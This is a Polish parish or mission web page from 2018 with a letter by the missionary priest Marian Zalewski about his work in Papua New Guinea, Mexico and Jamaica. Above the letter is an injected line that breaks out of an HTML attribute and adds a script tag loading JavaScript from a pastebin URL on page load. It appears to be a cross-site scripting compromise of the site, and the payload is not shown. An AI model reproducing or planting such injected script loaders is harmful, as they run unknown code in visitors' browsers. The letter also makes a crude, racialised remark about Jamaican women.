">

"> <script type="text/javascript" src="https://pastebin.com/raw/hUw8hjvb"></script></p>

Dzisiaj jest: poniedziałek,
19 listopada 2018r.

wykop.pl

Kilka ciekawych myśli od ks. prał. Mariana Zalewskiego z okazji Tygodnia Misyjnego.

 

Witajcie drodzy przyjaciele misji. Sporo czasu upłynęło od mojego ostatniego kontaktu z wami, osobistego, czy też za pomocą listów skierowanych do Was. Mam na myśli listy skierowane do p. Ewy Zachwieja, gorliwej katechetki pracującej przy parafii Bl. Bogumiła w Gnieźnie czy też listy skierowane na ręce ks. kanonika dr. hab. Franciszka Jabłońskiego, mojego przyjaciela, a zarazem wiernego opekuna dzieła misyjnego w calym Kościele Gnieźnieńskim. 


To już 8 lat, od czasu kiedy opuściłem Papuę Nową Guineę. Wspominam ten kraj celowo i to z dwóch powodów. Po pierwsze, że wielu z Was kojarzy moją posługę misyjną właśnie z tym odległym, jakże egzotycznym krajem. A po drugie dlatego, że to właśnie tam, spędziłem moje najwspanialsze lata pracy w "winnicy pańskiej". ("Przynajmniej jak do tej pory", jak mawiał mój starszy przyjaciel, śp.ks.Zbyszko Hanelt").

 

Well, nic dziwnego, przeżylem tam 22 lata, spotkałem wielu wspanialych misjonarzy takich jak znani Wam ks. Pralat Paweł Czerwinśki, który przepracował na P.N.G. ponad 25 lat i musiał wrócić do Polski z powodów zdrowotnych, czy ks. Pralat Henryk Micek, który po wielu latach pracy misyjnej przeniósł się do Sydney i tam pracuje w Winnicy Pańskiej. Wielu wspaniałych misjonarzy z calego świata, no i oczywiście przeogromne grono świeckich papuasów, którym służyłem tak jak umialem, dzieląc się z nimi moim doświadczeniem wiary, religii i Kościoła. Sraciłem na Papui trochę włosów, broda mi posiwiała całkowicie, straciłem siłę wzroku, nabawiłem się malarii, którą noszę w swojej krwi do dzisiaj, ale gdybym mial wybierać dzisiaj jeszcze raz, wybrałbym dokładnie to samo i tak samo, nie opuszczając, nie odrzucając ani jednego elementu z barwnej, pełnej przygód, "papuaskiej misji".

 

W 2011 roku podjąlem pracę misyjną w Meksyku. Dlaczego wyjechalem z Papui skoro bylo mi tam tak dobrze? Well, nie wyjechałem, aby sobie polepszyć. Czasami spotykam się z pytaniem czy teraz, tam gdzie jestem jest lepiej, niż tam gdzie byłem. Odpowiadam, że raczej nie jest lepiej. Ale nie oto przecież mi chodziło. Czlowiek czasami musi wymagać od siebie nawet wtedy gdy nikt od niego nie wymaga. Potrzebowałem nowego wyzwania, czułem, że "za dużo wiem" na temat papuaski. Tym nowym wyzwaniem mial być Meksyk. Nowa kultura, nowy język, język hiszpański w odróżnieniu od "pidgin english" i języka angielskiego, i kompletnie inna mentalność ludzi i związane z tą mentalnością, inne wyzwania duszpasterskie. Te "wyzwania duszpasterskie", niestety, okazały się ponad moje "zdolności religijne". Nie chodzilo o zdolności umyslowe czy fizyczne, jestem w bardzo mocnej kondycji psychofizycznej, dziękuję Bogu za to każdego dnia. (Po ostatniej wizycie u lekarza, którą odbyłem pod namową przyjaciół w tym roku, a byla to pierwsza wizyta u lekarza od ponad 30 lat, usłyszałem stwierdzenie, że nie muszę się przejmować absolutnie niczym, że "będę żył na pewno, aż do śmierci" i chwała Panu za to).

 

A wracając na poważnie do tematu meksykańskiego. Znane jest powiedzenie w Polse, "ależ to prawdziwy Meksyk". Wszystko pomieszane z pogmatwanym, a w przypadku wiary meksykańskiej, pomieszanie wierzeń przodków Aztekow, Majów, Santa Muerte itd. z wiarą katolicką. Jedną nogą i połową serca w wierze przodków, a drugą nogą i drugą połową serca w wierze kościoła katolickiego. Podam maly przyklad na konkretny przejaw takiego synkretyzmu religijnego. 12 letnie dziecko odchodzi od konfesjonału po otrzymaniu rozgrzeszenia i zaraz przy tym samym konfesjonale czeka na nie jego matka, z gałązkami leczniczych ziół w ręku, aby to dziecko oczyścić z mocy szatańskich, bo a nóż siła Ducha Świętego działająca w sakramencie nie jest wystarczająca. I pytam się dziecka, która siła Cię oczyściła, ono odpowiada, że nie wie, a matka dopowiada, "na wszelki wypadek", proszę księdza. Wiara w moc dymu, ognia i święconej wody, nie wspominając zapalonej świeczki przed figurką "lokalnego świetego", bez konieczności sakramentów, Niedzielnej Mszy Św. czy modlitwy, to tylko niektóre przejawy "meksykańskiej wiary". Rozmawiałem z ludźmi, z księdzem biskupem i lokalnymi kapłanami, że czas najwyższy na "oczyszczenie religijne", ale bezskutecznie. Przyznawali, że jest problem, "starych bukłaków i młodego wina", czy "obecności pana młodego i postu", ale brakowalo konkretnych działań duszpasterskich. One wymagałyby zerwania z "tradycją starszych" i pójścia za Chrystusem "na całość". Na takie działania, kościół meksykański, w tym rejonie w ktorym pracowałem, nie był gotowy. Oczywiście tak się wierzyć nie da, taka wiara nie jest "siłą napędową" na życie. Nie moglem robić tego w co wierzylem, a miałem robić to, co w żaden sposób nie uważałem za słuszne i prawdziwe. Po trzech i pół roku wycofałem się z Meksyku. Jestem misjonarzem, ambasadorem kościoła katolickiego, a nie krzewicielem "lokalnej kultury".

 

W lutym, 2015 roku znalazlem się na Jamajce. Ciepłe klimaty w rytmie reggae, piękne "czekoladki" przechadzające się po plażach czy po ulicach miejscowosci turystycznych, w wyjątkowo skąpych, jak na gust misjonarza, odzieniach. Rum i marijuana, no i proszę państwa bawimy się aż do rana. Kilka dni temu dostalem na WhatsApp, humorystyczną wiadomość. W przetłumaczeniu na język polski, brzmi ona tak; " I wtedy Bóg powiedział: Niech zaistnieją ludzie sexy. I stworzył Bóg Jamajkę ". Well... Myślałem do tej pory, że to Meksyk jest na pierwszym miejscu na liście krajów, które lubią się bawić. Przyglądając się jenak Jamajce lepiej, a jestem już tutaj prawie 4 lata, zaczynam mieć wątpliwości. Oczywiście to co do tej pory powiedziałem o Jamajce to nie jest cała prawda na jej temat. Jest duży procent ludzi, którzy żyją biednie, nie mają czasu i pieniędzy na zabawę i rozrywkę. Cięzko pracują, aby związać przyswojowy koniec z końcem. Są ludzie, którzy żyją dostatnie i wygodnie. Najsłabszym punktem życia społeczności jamajskiej jest brak życia rodzinnego. Proszę sobie wyobrazić, że szacuje się, iż na dzisiaj 90% wszystkich dzieci, to dzieci zrodzone poza związkiem małżeńskim. W konsekwencji bardzo dużo z tych dzieci nie ma wcale, albo ma bardzo ograniczony kontakt ze swoim ojcem, a czasami również i z matką, która wyjechała do Stanów czy Kanady zostawiając swoje dzieci z babcią ciotką czy dobrą sąsiadką. Nie znając życia i ciepła rodzinnego, rosną następne pokolenia ludzi "zranionych". Młode dziewczęta i chłopcy szybko przechodzą edukację seksualną "na ulicy", rozpoczynają życie w nieformalnych związkach, w których brak jest zobowiązania się i brania na siebie jakiejkolwiek odpowiedzialności. Historia się powtarza z pokolenia na pokolenie. Kościół miałby tutaj wielką rolę do odegrania. Niestety, Jamajka chociaż jest krajem chrześcijańskim, według różnych danych protestantyzm jest wyznawany w 70%, to jednak prawdziwy kościół Chrystusa, kościół katolicki skupia zaledwie 2% wyznawców. Hierarchia kościoła katolickiego na Jamajce z klerem lokalnym nawet nie zdają sobie sprawy z tego jak przeogromny jest wpływ kościoła protestanckego na kościół katolicki. ( Proces ten zresztą jest łatwo zauważalny na całym świecie, również i w Polsce ). W sprawowaniu liturgii, w stylu głoszenua nauki Bożej, w działaniach podejmowanych na rzecz ubogich i potrzebujących, kościół katolicki upodabnia się, wręcz małpuje "poczynania duszpasterskie" innych kościółów chrześcijańskich. Musimy pamiętać o fundamentalnej roli Kościoła, jaką jest ZBAWIENIE DUSZ. Każde przeżycie liturgiczne, a już na powno sprawowanie Mszy świętej niedzielnej, winny pomóc człowiekowi obecnemu w kościele, w osobistym spotkaniu się z Chrystusem, który ofiaruje mu Zbawienie. Podskakiwanie, klaskanie w dłonie, wykrzykiwanie, głośna muzyka, brak ciszy i skupienia, wyeliminowanie prawie całkowicie postawy klęczącej przed najświętszym sakramentem i tym podobne, to działania, które absolutnie nie sprzyjają nawiązaniu osobowego kontaktu człowieka z Bogiem. Kiedy zanika poczucie ŚWIĘTOŚCI i BOJAŹNI BOŻEJ w czasie sprawowania czynności liturgicznych, "rzeczy święte", stają się powszednimi, nie mają mocy napędowej, nie wyzwalają w człowieku nawet ochoty na jakąkolwiek zmaianę, nie wyzywają czlowieka do niczego, owszem zabawiają go na krótko i dlatego się mu podobają, ale na dłuższą metę pozostawiają człowieka samemu sobie z jego wielkim pragnieniem spotkania Boga. Kościół traci wiarygodnośc, ludzie w poszukiwaniu wyższych wartości trafiają do różnych sekt, bo tam lepiej śpiewaą, albo glośniej przepowiadają. Niczego lepszego w tych sektach nie otrzymują, a zatem i stamtąd odchodzą, czasami wstydzą się wrócić do kościoła katolickiego, zresztą nie ma i po co, nie wiele się w czasie ich nieobecnści w tym kosciele zmieniło, chyba że na gorsze. "Duch protestancki", sekularyzm, obojętność na drugiego człowieka zwlaszcza tego potrzebującego, kilku "cwaniaków" w radzie finansowej czy gospodarczej, każdy chce kimś być, pokazać się, a prosty, i ubogi człowiek traci kontakt, najpierw z Kościołem, a potem z Bogiem.

 

Po blisko 4 latach pracy duszpasterskiej na parafii, ks. arcybiskup, począwszy od Października tegoż roku skierowal mnie do pracy dydaktycznej i formacyjnej w Wyższym Seminarium Duchownym w Kingston służącym przygotowaniu przyszlego kleru kościoła jamajskiego. Za wcześnie, aby o tym pisać teraz, jestem tutaj dopiero dwa tygodnie. Jest to rzecz dla mnie bardzo nowa. W czasie mych 30 lat pracy na misjach, nigdy nie pracowalem w Seminarium, pracowałem na różnych parafiach w roli duszpasterza. Well, duże wyzwanie, ale ja lubię wyzwania. Proszę was wszystkich, którzy spotkacie się z moim listem, o wielkie wsparcie modlitewne. Ja obiecuję moją modlitwę zwłaszcza w intencji tych którzy przechodzą kryzys wiary w Kościół katolicki. Nie traćcie wiary. Kościól katolicki jest święty, jest jedyną "instytucją", która posiada pełnię prawdy i świętości, i może nas wszystkich poprowadzić pewną drogą do zjednoczenia z Bogiem, nawet, jeżeli w pewnych przypadkach, poszczególni jego członkowie, swoim złym postępowaniem, przyniają się do zgorszenia " maluczkich ". Lepiej by bylo, aby tacy się nie narodzili.

 

 

Z Bogiem. Ks. Marian